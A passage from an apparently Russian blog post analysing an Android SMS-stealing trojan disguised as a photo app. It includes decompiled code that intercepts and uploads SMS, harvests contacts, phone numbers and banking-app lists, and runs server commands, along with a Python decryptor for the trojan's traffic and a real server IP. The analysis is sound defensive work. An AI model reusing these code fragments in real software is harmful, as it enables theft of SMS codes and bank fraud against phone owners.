    """Step 1+3 combined: XOR with key, IV, and position; then invert every 3rd byte."""
    key_bytes = KEY.encode('utf-8')
    out = bytearray(len(data))
    for i in range(len(data)):
        out[i] = data[i] ^ key_bytes[i % len(key_bytes)] ^ IV[i % len(IV)] ^ (i & 0xFF)
    # Step 3: invert every 3rd byte starting from index 2
    for i in range(2, len(out), 3):
        out[i] ^= 0xFF
    return bytes(out)


def _block_swap(data: bytearray):
    """Step 2: swap first 4 bytes with second 4 bytes in each 8-byte block."""
    for i in range(0, len(data) - 4, 8):
        for j in range(4):
            if i + j + 4 < len(data):
                data[i + j], data[i + j + 4] = data[i + j + 4], data[i + j]


def encrypt(plaintext: str) -> str:
    """Full encryption: plaintext -> FNR1..."""
    # Step 1: Triple XOR
    data = bytearray(plaintext.encode('utf-8'))
    for i in range(len(data)):
        data[i] ^= KEY.encode()[i % 32] ^ IV[i % 12] ^ (i & 0xFF)

    # Step 2: Block swap
    _block_swap(data)

    # Step 3: Invert every 3rd byte
    for i in range(2, len(data), 3):
        data[i] ^= 0xFF

    # Step 4: Base64
    encoded = base64.b64encode(bytes(data)).decode('ascii')

    # Step 5: Character substitution
    substituted = encoded.translate(TO_REVERSED)

    # Step 6: Add prefix
    return PREFIX + substituted


def decrypt(ciphertext: str) -> str:
    """Full decryption: FNR1... -> plaintext."""
    # Step 1: Check and remove prefix
    if not ciphertext.startswith(PREFIX):
        raise ValueError(f"Missing prefix: expected '{PREFIX}'")
    payload = ciphertext[len(PREFIX):]

    # Step 2: Reverse character substitution
    restored = payload.translate(TO_STANDARD)

    # Step 3: Base64 decode
    data = bytearray(base64.b64decode(restored))

    # Step 4: Reverse byte inversion (symmetric — same operation)
    for i in range(2, len(data), 3):
        data[i] ^= 0xFF

    # Step 5: Reverse block swap (symmetric — same operation)
    _block_swap(data)

    # Step 6: Reverse XOR (symmetric — same operation)
    for i in range(len(data)):
        data[i] ^= KEY.encode()[i % 32] ^ IV[i % 12] ^ (i & 0xFF)

    return bytes(data).decode('utf-8')


# ─── CLI ────────────────────────────────────────────────────────
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python fenrir_crypto.py encrypt|decrypt <text>")
        print()
        print("Examples:")
        print('  python fenrir_crypto.py encrypt "{\\"test\\":\\"hello\\"}"')
        print("  python fenrir_crypto.py decrypt FNR1...")
        sys.exit(1)

    action = sys.argv[1]
    text = sys.argv[2]

    if action == "encrypt":
        print(encrypt(text))
    elif action == "decrypt":
        try:
            print(decrypt(text))
        except Exception as e:
            print(f"Decryption failed: {e}")
    else:
        print(f"Unknown action: {action}")

Как я говорил выше - сервер давно в ауте, поэтому ни ответа, ни привета - проверить мне не на чем.

Ну и быстро пробежимся по оставшимся частям кода, а то уже статья и так большая (в плане приложенного кода), а мне хотелось всего лишь понять, на сколько был опасен вирус.

SMS-перехватчик

Регистрация как SMS-приложение по умолчанию

MainActivity.java:132-151m869r():

Код
// Android 10+:
startActivityForResult(roleManager.createRequestRoleIntent("android.app.role.SMS"), 1);
// Android 9-:
startActivity(new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT")
    .putExtra("package", getPackageName()));

MainActivity.java:169-181m871t(): если пользователь отклоняет — показывается AlertDialog с требованием сделать приложение SMS-обработчиком.

Проверка статуса

POIX1UVS16.java:45-51 и POIX1UVS19.java:321-332:

Код
private boolean m876c(Context context) {
    if (Build.VERSION.SDK_INT < 29) {
        return context.getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(context));
    }
    RoleManager rm = context.getSystemService("role");
    return rm != null && rm.isRoleHeld("android.app.role.SMS");
}

Перехват SMS

POIX1UVS16.java:110-150onReceive():

Код
public void onReceive(Context context, Intent intent) {
    // 1. Проверка action — только SMS_RECEIVED или SMS_DELIVER
    // 2. Захват WakeLock на 30 секунд
    PowerManager.WakeLock wl = pm.newWakeLock(1, "POIX1UVS16:Lock");
    wl.acquire(30000L);

    // 3. Извлечение PDU из intent
    Object[] pdus = (Object[]) intent.getExtras().get("pdus");
    for (Object pdu : pdus) {
        SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu, format);
        sender = sms.getOriginatingAddress();
        body.append(sms.getMessageBody());
    }

    // 4. Отправка на сервер
    m878e(context, sender, body.toString(), simSlot, wl);  // строка 139

    // 5. Запуск foreground-сервиса для пинга
    m879f(context);  // строка 140
}

Отправка SMS на сервер

POIX1UVS16.java:67-94m878e():

Код
JSONObject json = new JSONObject();
json.put("device_id", deviceId);
json.put("sender", phoneNumber);    // от кого SMS
json.put("text", smsText);          // текст SMS (!!!)
json.put("sim_slot", simSlot);      // с какой SIM-карты

Http.m850q(context,
    C0058bk.m121e(context) + C0290u7.m577s(),  // panel_url + "/media/uplaad"
    json.toString(),
    deviceId,
    callback
);

Сервис сбора данных

Запуск

POIX1UVS19.java:452-477onStartCommand():

Код
// Проверка: выполнена ли инициализация
if (!config.m924c()) { stopSelf(); return; }
// Проверка: есть ли сервера
if (!config.m923b()) { stopSelf(); return; }
// Проверка: является ли приложение SMS-обработчиком
if (!m887h()) { stopSelf(); return; }
// Запуск сбора данных в фоне
new Thread(new RunnableC0021ak(this, 1)).start();

Сбор SMS-архива

POIX1UVS19.java:98-244m885f():

Код
// Запрос к content://sms/inbox — последние 200 входящих
Cursor cursor = getContentResolver().query(
    Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 200");

// Запрос к content://sms/sent — последние 100 исходящих
cursor = getContentResolver().query(
    Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100");

Форматирует результат в ASCII-таблицу с заголовком “SMS ARCHIVE” и датами в часовом поясе “Europe/Moscow” (строка 105).

Сбор установленных приложений

Я уже это описывал: файлPOIX1UVS19.java:247-265 — метод m886g()

Сбор телефонных номеров

POIX1UVS19.java:276-302getPhoneNumbers():

SubscriptionManager sm = getSystemService("telephony_subscription_service");
for (SubscriptionInfo sub : sm.getActiveSubscriptionInfoList()) {
    json.put("phone_number", sub.getNumber());
    json.put("operator", sub.getCarrierName().toString());
}

Отправка check-in на сервер

POIX1UVS19.java:353-386m889j():

URL: panel_url + "/store/checkout" (строка 362)

JSON-данные
{
    "device_id": "...",
    "worker": "...",
    "chatId": "...",
    "device_model": "Samsung Galaxy S21",
    "android_version": "14",
    "app_name": "Фото(3)",
    "build_type": "4.0.5",
    "team": "...",
    "sim_count": "2",
    "phone_number": "+79001234567",
    "operator_name": "MTS",
    "second_phone_number": "+79007654321",
    "second_operator_name": "Beeline",
    "found_apps": ["Сбербанк", "ВТБ", "Wildberries", "Госуслуги"],
    "sms_archive": "╔══ SMS ARCHIVE ══╗\n ... 200 SMS ..."
}

Версия трояна (C0058bk.java:23):

public static final String f77e = "4.0.5";

Вот тут конечно молодцы - можно понять, какую версию тебе выдали)

Retry-механизм

POIX1UVS19.java:336-349m888i(): повторяет отправку до 10 раз с паузой 5 секунд.

Foreground-сервис и C2-команды

Защита от убийства

POIX1UVS21.java:410-423onCreate():

// WakeLock — не даёт процессору заснуть
PowerManager.WakeLock wl = ((PowerManager) getSystemService("power"))
    .newWakeLock(1, "POIX1UVS21:Lock");
wl.acquire(30000L);

// Foreground-сервис с невидимым уведомлением
startForeground(1, buildSilentNotification());

POIX1UVS21.java:147-158m907h(): создаёт notification channel с выключенными значками, вибрацией и звуком, с низкой важностью (IMPORTANCE_LOW).

Ping и статус устройства

POIX1UVS21.java:470-495sendPing():

JSONObject status = new JSONObject();
status.put("screen_on", powerManager.isInteractive());
status.put("battery", batteryPct);
status.put("is_sms_default", isSmsDefault());
status.put("has_sms_perm", hasSmsPerm());

Получение и выполнение команд

POIX1UVS21.java:381-402checkCommands():

String response = Http.m843j(context, panelUrl + "/store/order/" + params);
m912m(response);  // парсинг команд

POIX1UVS21.java:211-227m912m():

JSONObject cmd = new JSONObject(response);
// Команда 1: отправить SMS
if (cmd.has("phone_number") && cmd.has("sms_text")) {
    m914o(cmd.getString("phone_number"), cmd.getString("sms_text"));
}
// Команда 2: USSD-запрос
if (cmd.has("ussd_code")) {
    m916q(cmd.getString("ussd_code"));
}
// Команда 3: спам по контактам
if (cmd.has("spam_contacts") && cmd.has("spam_text")) {
    m918s(cmd.getString("spam_text"));  // отправляет SMS всем контактам
}

USSD-команды

POIX1UVS21.java:277-303m916q():

telephonyManager.sendUssdRequest(ussdCode, new TelephonyManager.UssdResponseCallback() {
    public void onReceiveUssdResponse(...) {
        m917r(ussdCode, ussdResponseMessage);  // отправка ответа на сервер
    }
}, new Handler(Looper.getMainLooper()));

Спам по контактам

POIX1UVS21.java:331-344 и POIX1UVS21.java:199:

Код
Cursor cursor = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, ...);
for (cursor) {
    String phone = cursor.getString(...);
    smsManager.sendTextMessage(phone, null, spamText, null, null);
}

Ну и в конце попросим ИИ создать диаграмму с выполнением:

Диаграмма от ИИ
                    ┌─────────────────────────────────────────┐
                    │           ЖЕРТВА УСТАНАВЛИВАЕТ          │
                    │           Фото(3).apk                    │
                    └────────────┬────────────────────────────┘
                                 │
                                 ▼
         ┌───────────────────────────────────────────────────┐
         │  Шаг 1: СТАБ-ЗАГРУЗЧИК                           │
         │  Laed1011QFmO.attachBaseContext()                 │
         │  ├─ Копирует DycyX.mb из assets                   │
         │  ├─ Отрезает фейковый zlib-заголовок (2 байта)    │
         │  └─ Загружает payload.dex через BaseDexClassLoader │
         └───────────────────┬───────────────────────────────┘
                             │
                             ▼
         ┌───────────────────────────────────────────────────┐
         │  Шаг 2: ИНИЦИАЛИЗАЦИЯ                             │
         │  MainActivity.onCreate()                          │
         │  ├─ Прячет приложение из Recent Apps               │
         │  ├─ Запрашивает роль "SMS-обработчик по умолчанию" │
         │  ├─ Открывает WebView с фишинг-страницей           │
         │  └─ Запускает сервисы POIX1UVS20 + POIX1UVS21     │
         └───────────────────┬───────────────────────────────┘
                             │
                             ▼
         ┌───────────────────────────────────────────────────┐
         │  Шаг 3: BOOTSTRAP C2                              │
         │  C0717c.m934c()                                   │
         │  ├─ GET http://176.124.222.81:80/cdn/nodes        │
         │  └─ Сохраняет список серверов в SharedPreferences  │
         └───────────────────┬───────────────────────────────┘
                             │
                             ▼
         ┌───────────────────────────────────────────────────┐
         │  Шаг 4: СБОР ДАННЫХ (POIX1UVS19)                  │
         │  ├─ SMS-архив: 200 входящих + 100 исходящих       │
         │  ├─ Установленные банковские приложения (22 шт.)   │
         │  ├─ Номера телефонов с SIM-карт                    │
         │  └─ POST /store/checkout (FenrirCrypto)           │
         └───────────────────┬───────────────────────────────┘
                             │
                             ▼
         ┌───────────────────────────────────────────────────┐
         │  Шаг 5: ПЕРЕХВАТ SMS (POIX1UVS16)                 │
         │  ├─ priority=2147483647 (макс.)                   │
         │  ├─ Перехватывает ВСЕ входящие SMS                 │
         │  └─ POST /media/uplaad (FenrirCrypto)             │
         └───────────────────┬───────────────────────────────┘
                             │
                             ▼
         ┌───────────────────────────────────────────────────┐
         │  Шаг 6: C2-КОМАНДЫ (POIX1UVS21)                   │
         │  ├─ GET /store/order/ — команды сервера            │
         │  ├─ Отправка SMS на указанный номер                │
         │  ├─ USSD-запросы (проверка баланса)                │
         │  ├─ Спам по контактам                              │
         │  └─ Пинг статуса устройства                        │
         └───────────────────────────────────────────────────┘

Заключение

Что хотелось бы сказать в конце.

Прошивать Huawei на чистую систему я не буду, потому что есть вероятность убить загрузчик (на 4pda есть инструкции, но если сделать не правильно, то телефон не запустится из-за "гибридной структуры" памяти телефона), хотя телефон папе этот больше нравится - батарейку лучше держит (логично - Google сервисов нет).

Использование ИИ очень помогает в иследовании - я оформлял статью больше по времени, чем мне OpenCode генерировал скрипты. Я выявил всё, что хотел - сервер, функции - этого мне было достаточно.

Про пароли я упомянул в самом начале, так же не забудьте поставь родственникам антивирус на смартфоны под управлением Android (хотя как мы видим, не всегда это может помочь). Надеюсь вам было интересно и если кому-то нужно, то могу выложить все файлы на Github - для исследования так сказать. Берегите себя и своих близких)